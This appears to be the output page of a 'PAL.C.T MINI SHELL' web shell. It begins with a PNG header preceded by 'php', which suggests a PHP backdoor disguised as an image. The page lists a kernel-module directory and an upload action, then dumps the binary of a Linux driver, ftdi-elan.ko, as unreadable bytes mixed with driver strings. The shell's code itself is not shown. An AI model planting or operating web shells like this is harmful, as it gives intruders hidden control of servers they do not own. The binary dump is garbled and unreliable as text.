php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/usb/misc/
upload
files >> //lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/usb/misc/ftdi-elan.ko

ELFl4("!GNUD(Ӿ1l$C4TnÉ'4Љ\$$t$(|$,l$0px h$X0Rh(@0l$ |$t$pt$pt$pt$pt$pt$t$84$Ӌ\$$t$(|$,l$04ÍvVpSÉ9~Jt&ƒk9[^|$ljl$h\$t$t4tJuǃ4k41ɍ,$ut&LJ|
\$LJx
t$LJ
l$|$&Xv'VS\$D$8d$8CB[-X	ǃX	[^Í&SZpt(l	1[Ít&t$։\$X4 tJøu\$t$Ív(¸uۍl	1^pɉ\$$벉'$\$|$ωl$ Չt$pp~؋t$\$|$l$ $Ðu1D$tˋT$8D$D$t1t78t$NHVDL$L$$D$h&8i		ЋT$
J(B0D$J<zTB@B|rxD$t&D$D$$8d$Ut&D$\$Ét$Px@8t0t+t&t!D$\$D$L8d$sHK@STC([Dt$$\$t$fUWVST$e$1҉L$XpD$~)$e3D$Ĉ[^_]ÍD$&
D$&|$ d	D$D$D$D$tt&D$ 8h	X	D$2|$	ꋫ\	ʀ,$T$ t0딍t&L$l$zfl$`	X	d	`	,(|$~>|$twD$l$D$D$d	t&ET$D$D$$D$맍d	ǃ`	D$D$$D$lvD$6T$ED$D$"D$'UWVSÁe$1t	x	s|
T$,L$0t$<t	D$(D$8D$4D$X	vD$@8h	D$	t$@ʀt$\	4$t$@D$ X	l$F\$$D$F$,$D$D$Ņt&~tԅЉ,$D$ŅuڋD$@\$$)X	d	ǃ`	l$(t&`	P`	Dd	<u|
E|
x
9Љ|
X
jt	l$FD$$v	u	\$(D$F	Љ‹D$,T$ ։'t&,$D$D$Ņt&ttԅЉ,$D$ŅuD$$L$ \$(k4$L$,,ǃ|
X	ǃx
ǃ
l$0D$d	l$(vv	u		ljƃt$ k43,D$$43Dt	Hw	4w	8w	<t	D$<T$L$(ffPdžL@T$QdžXD$<L$($L$,؋T$$&ǃ|
ǃx
ǃ
l$0t&X	D$d	?ft	ǃx
X	D$d	L|$ t9|$ l$ tf|$4ulX	D$4vT$8L$T$Fl$8T$L$D$D$t8d$X	|$4X	t$e35D$ Ĩ[^_]Ë{	Pz	k	y		x		֍1t	ǃ|
ǃx
ǃ
t?<t;<t7<
t3t$D$D$8d$X	l$0l$0X	D$<%LffPdž<@D$<TukD$ 4DŽXT$$1ɉ$ՋT$(t
X~[kD$ 4DŽXD$<t$(4$$|$(t	X~%kD$ 4DŽXD$<D$($D$(ǃ
x
D$<džXD$<T$($L$T$Ft$ T$D$L$t$D$8d$t$L$FL$D$D$t$ă|$t6D$t$Ft$D$D$8d$D$ @T$FT$D$D$D$t8d$D$ t&'UWVSÃĀeD$|1D$D$
X	D$8h	D$d	ʍL$ʀL$\	$T$X	1T$\$T$D$+~$|D$PT$~4+<$D$D$NjD$PT$̋\$X	*fu>X	`<$D$mu;X	D$,D$8d$~UX	vt#L$~ql$X	v|$l$X	dD$8d$T$|e3u`[^_]À?11D$t8d$뼉ljD$D$,8d$D$TfUWVSÁe$1~D$ vǃd	ǃ`	D$$	D$
D$18VD$1U=u8i	N<	к
F0N(~@FTF|^xD$ 1_8VD$U@@Z@8i	N<	к
F0N(~@FTF|^xot$l$D$
D$dX	D$(8h	D$	ʍL$(ʀL$\	$T$(X	1D$.l$.T$(\$7~$D$(PT$(~47É,$D$D$ŋD$(PT$(̉ڋ\$~UD$l$X	1ufX	G?1„uBt>L$(l$t&t$l$v,$D$4T$~8l$ɐul$4X	D$88d$l$$tNl$$D$$8d$D$ $e3D$ uĐ[^_]D$M8d$D$ 뺃l$YD$T8d$\D$8d$VDNH8$L$D$ CD$D$,8d$#D$t8d$D$8d$VDNH8$L$D$ D$P8d$D$ D$dD$v'UЀWVS pD$
($l	D$0ǃ(ǃ,04T$Bdv8D$<Cǃx
T$Jy111i	uGA,9yh	uGuyG\	Wh	L$X	L$uD$8d$at&Gmi	A,9gt&h	ti	u6D$8d$D$ [^_]T$D$AD$D$8L$d$ڋ|$L$Aufh	D$g<ufh	uǃ@A1\$D$D$8d$H11҉HLTǃDǃP611҉ǃǃp11҉ǃǃDD$zD$L$t,D$,8d$1҉(ǃ@T$BD$A\$D$XD$8d$$d&S<~[!t3tptktfD$D$8d$~I
t"[Ðt&볍&l	[SщÍu[Ðt&l	[t&UW1VSe$1F V)ƒT$4_L$41D$<ƒ9ȍT0\u\$<1D$(T$(8D$T$<N 1l$4D$8t$L$ KfLjt$T JLJLJLR	TT$$D$ T$ t$y0|$$q4t$,q$yω	|$8lt&\$ t$$D$(0D$(1ҋD$4F ?$e3[^_]Í;1҉΋L$,L;T$$u|$ &t$|$(8i	O(_@	
G0D$<O<G|GTwxL$8*؋|$<(T$@\$ Ӊt$$D$@'$D$D$Åt̅ȉ$D$Ѝt&T$<L$4D$(|$T$L$D$D$x8d$8t$(VDNH$T$<L$D$<K|$4L$<D$|$L$8d$FD$<T$4D$,D$T$8d$D$(
t&S|~[At4t/uS
t[Í̍&l	[t&D$D$8d$뎐SщÍu[Ðt&l	[t&1̍UWV2SÃĀeD$|1D$D$
D$8h	X	D$	|$ʀ|$\	<$L$~~X	1\$D$l$L$;~ tzD$PT$~4;,$D$D$ŋD$PT$̋\$6u>X	x`~r,$D$oucX	D$,D$8d$D$8d$T$|e3[^_]ftu6|$~Rl$mt&l$~^l$V81/1릉D$D$,8d$D$t8d$_D$TvWVSÅp!deC+S уP BfBBB	T,x,P4@0؃C$1[^_Í&[^_Í&UWVSÃxd}C+S у$NHP JBfBJ	@0T$P,$T,P4؃CZ1[^_]Ð[^_]Ít&'-#v$t$|$l$~$t$|$l$Ítٍjk4<;XTTLJXuAC+S ~BTfC+S ~+d?t։1W<;P ɄJfBBB	T;,P4@0@,؃C먍UWVSÃ$p dS+ĉ+C kL$;D$J AEfAAE
A	B0B,B4$ǀE؃CED$[^_]Ð[^_]ÍvUWVSÃL$#p%dS+ĉ+K OHkL$D$D$؉$ʼnQ ŠBEfBBE
D$B	A0A,A4T$$$ǀD$G؃CGD$[^_]Ã[^_]Ív-S\$u
[Í\$[vSÍTtDl	[t&[Í&'SÍtl	[t&[Í&'SÍtl	[t&[Í&' l$ht$Ɖ\$|$@Ãt^N1҉L$L$D$L$8d$l	t$\$|$l$ 6uN1҃D$(8d$ff랍t&UWVST$ L$(|$$T$L$:--$D$4$,dC+S |$ɁT JfBL$	L$	JT$J0z(1҅tQk4P)@0@,@4D$,,+,\L$DžT0C($1[^_]Í[^_]Ívot&UWVSÃL$Ipt&S+
+K ~)d~[^_]ÐOHkL$D$D$؉$ʼnQ ŠB
E
fBBE
B	A0A,A4D$$ǂT$G؃CGD$[^_]Ðt&UWVSÃxduC+S у$NHP BfBJB	h,@0$T,P4؃C1[^_]Ð[^_]Ív|$׺_*\$Ét$l$t\$t$|$l$Í&؃uˍl$uuvu؃L$`uL$0L$c3PZ7$1vX1ɉ؉,$tt&P\$@Ét$D։l$L͉|$Ht\$@t$D|$Hl$LPf1ɺD$4$k_*u؉uL$8u1ɉisL$^؃L$DL$0L$&L$1ɉL$DfD$81ɉ$D$41ɉ$HlD$41ɺ4D$D$($EL$(%I$?ID$<$)	1ɉT$(iD$<D$t&@%D$<D$2$1ɺwD$81ɉ$xD$1ɺHD$$PD$D$D$uTtPD$TD$9|$~8T$1ɉ$tډz%@D$<D$
:D$81ɉ$BD$D$01ɉ$u1ɺ$mu|$D$0t3D$01ɉ$Tt͉|$t:D$<1ɺ$	D$81ɉ$1ɺ $1ɺ($1ɺ$D$,1ɉ$4D$,1ɺ4%D$($PfkD$(	
10ɺ@%?$$:D$,1ɉ$4'D$$1ɉ$@
D$,?t|$$uTu+)8D$,d$@D$8T$$D$EdT$$D$<1ɺ%D$<$\1ɺ$=D$ 1ɉ$>D$81ɉ$1ɺP$u1ɺ$V1ɺ$7D$1ɉ$HD$D$u	=t"D$1ɺH$<1ɺP$D$L%1f1$D$81ɉ$gl$tXA%JfTD$D$9D$ D$1ɉ$D$D$<\$,t$0Ɖ|$4l$8 : q )k<)уt$D$8d$dqt&(\$,t$0|$4l$8<Ít&d~2l	눋dǃ эvDI뭍&HR,r	@D$8s߽d$LJt,du]C+S ҃L$P ɄJfBBB	@0@,L$T,P4؃C4Q&D$Z8d$'RT$(؉T$qtE/v|D$8d$&1҉oufVuFuT$r#^
J/T$_
T$jT$WfD$*<
t&L$(1ǃD$D$$D$ L$L$D$(at`57RXtj&\$$D$tDD$wvEu1ɉD$ ;D$~ʃff븐(D$48d$fD$8d$dt&34W&p	@D$D$D$8d$ǃǃn"]D$ }ǃ|
ǃx
ǃ
cL$(؃D$(ȉ9t$|$L$T$D$8d$ KD$ D$D$h8d$9(ƃdǃP	HǃL	hǃǃH	ǃD$nD$4$D$nD$w8d$D$n$D$D$8d$s߉LJt1%&dC+S ΉL$L$L$P fBBɄJB	@0@,L$T,P4؃Ct-&du]C+S ҃L$L$P fBBɐJB	@0@,L$T,P4؃C4tǃ|
ǃx
ǃ
9l$ |$$UWVSL$T$0L$8t$,|$4T$L$dW-D$D$t$,d!C+S |$l$L VT+VXL$l$ɂ҈MT$fBT$	T$	T(N0~(1҅tQP)@0@,@4T$<kD$4\L$0ǀT,؃CD$1[^_]f[^_]ÍvfE9t&`L$ffQ
UWVSL$T$$L$,t$ |$(T$	L$
4'-$D$4$.fdC+S |$ɀT JfBL$		L$
	JN0~(1҅tQP)k4@0@,V\,+P4D$0\D$0DžT,؃C$1[^_]Ív[^_]Ívst&UWVSL$T$0L$8t$,|$4T$L$dW-D$D$t$,d!C+S |$VT+VXL l$L$l$Ƀ҈MT$fBT$	T$	T(N0~(1҅tQP)@0@,@4T$<kD$4\L$0ǀT,؃CD$1[^_]f[^_]ÍvfE9t&`L$ffQ
UWVSL$$$$L$$T$e$1҉l$$L$vu3bfdA4C+S ɁT |$ JL$	L$	Jl$M0}(1҅tQx W	L$QT+QX@,FʉH0l$fU@UXP4fOx0T$&1\$ՉD$&t$(&,$D$D$ŃftZpuˉ,$D$Ӎ&$e3uiĈ[^_]Ë
t&\$kD$ 4T$t$\L$,l$ǀT0؃CM1y"Rs{"5DJU}s~ptr/@Rcwr]',	&	G	L	v

y	
G


	!QbGLj"8HYcjpPXgrp
r|w|;Lk|r&ELraryr
SX]u	5F[q'~5:Lbkz!2TafqqKpuJ]rENw|r"<U^rhq  , 1 q 7!<!!!!!!!!O"`"o"""""""/#s#}###$$$$$s%}%%&&.&G&O&&&&b'''''(:(Q(z(((s(())')k)p)u)z)))))))+*5*W*,++++b,j,,,,,,A-12333345666667}-727Y7f7k7q777888888}99:99:D;U;d;u;;;<<="=`=q==~===x>> >(>4>B>W>^>>>>>K?U?\??@@@ABBBC#D-DODPE3F=F_FMGVG|GGHH~H ~(W((;)V S$$3',(؉l(6$uߡ[^(/8@GLQV[ajotyS D$D$$dD$1ɺ$$($D$D$$1ɺD$D$$1ɺD$D$$tJ t^\$$. $D$؃[
%*/49EKOUYu|w| +07<AFKW`distrust_firmware0p w$(,PXFREEING ftdi=%p
 %02X ..ONLY %d bytes%s
error = %d
retry limit reached
failed to synchronize
<3>Out of memory
&ftdi->u132_lockrespond error %d
command error %d
Dec 16 201423:15:49&ftdi_module_lockftdi-status-controlftdi-command-engineftdi-respond-engineftdi_elaninclude/linux/usb.hUSB HC reset timed out!
init err(%08x %04x)
synchronize failed
u132_hcdrequesting module '%s'
registering '%s'
register failed
PCI device has disappeared
ftdi-elanftdi-%d-jtag<3>can't find device for minor %d
failed submitting write urb, error %d
urb=%p write bulk status received: %d
TIMED OUT with packet_bytes = %d with total %d bytes%s
error = %d with packet_bytes = %d with total %d bytes%s
Uxxx unknown(%0X) value = %08X
STATUS ERROR retry limit reached
only one byte flushed from FTDI = %02X
TIMED OUT retry limit reached
empty packet retry limit reached
could not alloc a urb for flush sequence
could not get a buffer for flush sequence
failed to submit urb containing the flush sequence
could not get a urb for the reset sequence
could not get a buffer for the reset sequence
failed to submit urb containing the reset sequence
Could not allocate bulk_in_buffer
Could not find both bulk-in and bulk-out endpoints
interface %d has I=%02X O=%02X
Not able to get a minor for this device.
USB FDTI=%p JTAG interface %d now attached to ftdi%d
USB FDTI=%p ELAN interface %d now activated
Could not find ELAN's U132 device
could not get a urb to write %d commands totaling %d bytes to the Uxxx
could not get a buffer to write %d commands totaling %d bytes to the Uxxx
failed %d to submit urb %p to write %d commands totaling %d bytes to the Uxxx
<6>ftdi_u132 driver deregistered
USB FTDI U132 jtag interface on minor %d now disconnected
USB FTDI U132 host controller interface now disconnected
<6>driver %s built at %s on %s
<3>usb_register failed. Error number %d
<3>%s couldn't create workqueue
WRONG type of card inserted - please remove
WRONG type of card inserted - checked %d times
initialized failed - trying again in 10 seconds
CARD EJECTED - controlreg = %08X
vendor=%04X pciVID=%04X device=%04X pciPID=%04X
PCI device eject confirmed platform_dev.dev.parent=%p platform_dev.dev=%p
(B((5Pj



 $
(u,
04
8<
@vD
 parm=distrust_firmware:true to distrust firmware power/overcurrent setupparmtype=distrust_firmware:boollicense=GPLdescription=FTDI ELAN driverauthor=Tony Olechsrcversion=E327D19159DC70E230F809Calias=usb:v0403pD6EAd*dc*dsc*dp*ic*isc*ip*depends=vermagic=2.6.32-504.3.3.el6.i686 SMP mod_unload modversions 686 zusb_ftdi_elan_edset_flushusb_ftdi_elan_edset_singleusb_ftdi_elan_edset_outputusb_ftdi_elan_edset_emptyusb_ftdi_elan_edset_inputusb_ftdi_elan_edset_setupusb_ftdi_elan_read_pcimemusb_ftdi_elan_write_pcimemftdi_elan_gone_awaynAmodule_layout
__request_module[__kmallocmsleepumusb_buffer_alloc4kref_put+dev_set_drvdatamalloc_sizesKhno_llseekUOdown_interruptibleQ usb_buffer_free.usb_deregister_dev__const_udelay&jinit_timer_key(mutex_unlockZ,<sprintfC__list_add__init_waitqueue_headRwait_for_completiondel_timer_syncvnqdev_err0usb_deregister[|J__mutex_init՗#printk>a-param_set_bool-copy_to_userT9&usb_register_devmutex_lock%destroy_workqueue@tdownBiplatform_device_unregisterc__create_workqueue_key">flush_workqueueFG_dev_infoYusb_submit_urbkplatform_device_register&usb_get_dev__stack_chk_fail;msecs_to_jiffies,z/usb_bulk_msgfOusb_put_devusb_find_interfaceEkmem_cache_alloc_trace1:kref_initzkfreekref_get?upO#usb_register_driverw~dev_warnparam_get_bool:VcompletepsnprintfDcopy_from_userdev_get_drvdata5-#usb_free_urbXqueue_delayed_workDHusb_alloc_urb(  $(Dftdi_elan<`dmodule.sig^T
	J?O!*Gb3>zC6ߌ]lZ߇5!e>0#@
.MY8f

'}=o[up, p0Pn' .^Ip6_o$6@
p,1?  ,WP t` ="P#P%p&M'20(2p(27F([kjv`+;,`-+.pCg5 EiP j(Ae08?d@ I` .>Ra(q h#++	@@A
		'	6	0BP	d	Lr	{											k	
91
(H
T
a
r

C




3S
Sq&=X]ozp,'L)fq@@c

+
'-E
0$_
o
 $

8
7w
Ec

Q5[2ftdi-elan.cftdi_release_platform_devftdi_elan_do_callbackftdi_elan_abandon_completionsftdi_elan_abandon_targetsftdi_elan_deleteftdi_module_lockftdi_instancesftdi_elan_releaseftdi_elan_openftdi_elan_driverftdi_elan_writeftdi_elan_write_bulk_callbackftdi_elan_readftdi_elan_respond_engineftdi_elan_flush_input_fifoftdi_elan_synchronizeftdi_elan_probeftdi_static_list__key.30243ftdi_elan_status_workftdi_elan_command_workftdi_elan_respond_workstatus_queueftdi_elan_jtag_classrespond_queueftdi_respond_queue_workftdi_elan_command_enginecommand_queueftdi_command_queue_workftdi_elan_kick_command_queueftdi_elan_stuck_waitingftdi_elan_write_regftdi_elan_write_pcimemftdi_elan_read_reg__key.10615ftdi_elan_read_pcimemftdi_status_cancel_workftdi_command_cancel_workftdi_response_cancel_workftdi_elan_exitftdi_elan_disconnectftdi_elan_init__key.30345ftdi_elan_read_config.clone.0ftdi_elan_write_config.clone.1ftdi_elan_setup_controllerftdi_elan_found_controllerdistrust_firmware__ksymtab_usb_ftdi_elan_edset_flush__kstrtab_usb_ftdi_elan_edset_flush__kcrctab_usb_ftdi_elan_edset_flush__ksymtab_usb_ftdi_elan_edset_single__kstrtab_usb_ftdi_elan_edset_single__kcrctab_usb_ftdi_elan_edset_single__ksymtab_usb_ftdi_elan_edset_output__kstrtab_usb_ftdi_elan_edset_output__kcrctab_usb_ftdi_elan_edset_output__ksymtab_usb_ftdi_elan_edset_empty__kstrtab_usb_ftdi_elan_edset_empty__kcrctab_usb_ftdi_elan_edset_empty__ksymtab_usb_ftdi_elan_edset_input__kstrtab_usb_ftdi_elan_edset_input__kcrctab_usb_ftdi_elan_edset_input__ksymtab_usb_ftdi_elan_edset_setup__kstrtab_usb_ftdi_elan_edset_setup__kcrctab_usb_ftdi_elan_edset_setup__ksymtab_usb_ftdi_elan_read_pcimem__kstrtab_usb_ftdi_elan_read_pcimem__kcrctab_usb_ftdi_elan_read_pcimem__ksymtab_usb_ftdi_elan_write_pcimem__kstrtab_usb_ftdi_elan_write_pcimem__kcrctab_usb_ftdi_elan_write_pcimem__ksymtab_ftdi_elan_gone_away__kstrtab_ftdi_elan_gone_away__kcrctab_ftdi_elan_gone_away__mod_distrust_firmware59__mod_distrust_firmwaretype57__param_distrust_firmware__param_str_distrust_firmware__mod_license54__mod_description53__mod_author52ftdi_elan_tableftdi_elan_fopsftdi-elan.mod.c_rheldata__mod_srcversion86__mod_alias84__module_depends____versions__mod_vermagic5usb_alloc_urbqueue_delayed_workusb_free_urbdev_get_drvdatacopy_from_userusb_ftdi_elan_edset_setupftdi_elan_gone_away__this_modulesnprintfcompleteparam_get_booldev_warnusb_register_driverupkref_getcleanup_modulekfreekref_initkmem_cache_alloc_traceinit_moduleusb_find_interface__crc_usb_ftdi_elan_edset_flush__mod_usb_device_tableusb_put_devusb_bulk_msgmsecs_to_jiffies__stack_chk_failusb_ftdi_elan_edset_singleusb_get_devplatform_device_registerusb_submit_urb_dev_info__crc_usb_ftdi_elan_edset_setupflush_workqueue__crc_ftdi_elan_gone_away__create_workqueue_keyplatform_device_unregisterdowndestroy_workqueuemutex_lock__crc_usb_ftdi_elan_edset_outputusb_register_devcopy_to_userparam_set_boolprintk__mutex_initusb_deregisterdev_errdel_timer_syncwait_for_completion__init_waitqueue_head__crc_usb_ftdi_elan_edset_emptyusb_ftdi_elan_edset_empty__list_addusb_ftdi_elan_edset_inputsprintfmutex_unlockinit_timer_key__const_udelayusb_deregister_devusb_buffer_freedown_interruptible__crc_usb_ftdi_elan_read_pcimemno_llseekmalloc_sizesusb_ftdi_elan_read_pcimemusb_ftdi_elan_edset_flushdev_set_drvdatausb_ftdi_elan_write_pcimem__crc_usb_ftdi_elan_write_pcimem__crc_usb_ftdi_elan_edset_singleusb_ftdi_elan_edset_outputkref_putusb_buffer_allocmsleep__kmalloc__crc_usb_ftdi_elan_edset_input__request_moduleftdi-elan.ko.debug{S.rodata.str1.1.rodata.str1.4.rel.data.rheldata.rel.rodata.symtab.strtab.shstrtab.note.gnu.build-id.rel.gnu.linkonce.this_module.note.module.sig.gnu_debuglink.rel__kcrctab_gpl.rel__ksymtab_gpl.rel__param.modinfo__ksymtab_strings.rel.smp_locks__versions.bss.rel.text.rel.init.text.rel.exit.textY4$`H	tHX1T-	tU"4Vk	WH7Y 3	Y02Y2[b	bbH	cc$	cH d e	e e)ff@ # u 	u0p vL l	lw|w,|wx?wpGԃCO0<
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`